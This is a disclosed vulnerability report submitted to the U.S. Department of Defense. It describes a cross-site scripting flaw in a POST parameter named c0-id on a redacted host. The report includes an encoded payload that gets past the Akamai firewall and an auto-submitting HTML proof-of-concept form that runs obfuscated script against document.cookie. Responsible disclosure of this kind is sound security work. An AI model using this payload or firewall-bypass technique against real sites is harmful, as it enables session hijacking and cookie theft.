U.S. Dept Of Defense · Report #2750977
Cross-Site Scripting (XSS) Vulnerability via parameter c0-id + Akamai Firewall Bypass
How it was found
Hi! I discovered a Cross-Site Scripting (XSS) vulnerability on ████████, specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Url: ██████████
Payload to bypass Akamai Firewall: '%3cinput%3e'%22%3e%3cA%20HRef%3d%5c%22%20AutoFocus%20OnFocus%3dtop%2f%2a%2a%2f%3f%2e'ale'%2B'rt'%3e
References
█████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Use this code in your own website to execute the XSS Method Post.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="████████" method="POST">
<input type="hidden" name="c0-id" value="8634_1727770004276'<input>'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'+'rt'](document+cookie)>" />
<input type="hidden" name="c0-methodName" value="getHelpText" />
<input type="hidden" name="c0-param0" value="string:<wddxPacket version='1.0'><header/><data><string>sponsor_org_type</string></data></wddxPacket>" />
<input type="hidden" name="c0-scriptName" value="null" />
<input type="hidden" name="callCount" value="1" />
<input type="hidden" name="method" value="init" />
<input type="hidden" name="xml" value="true" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page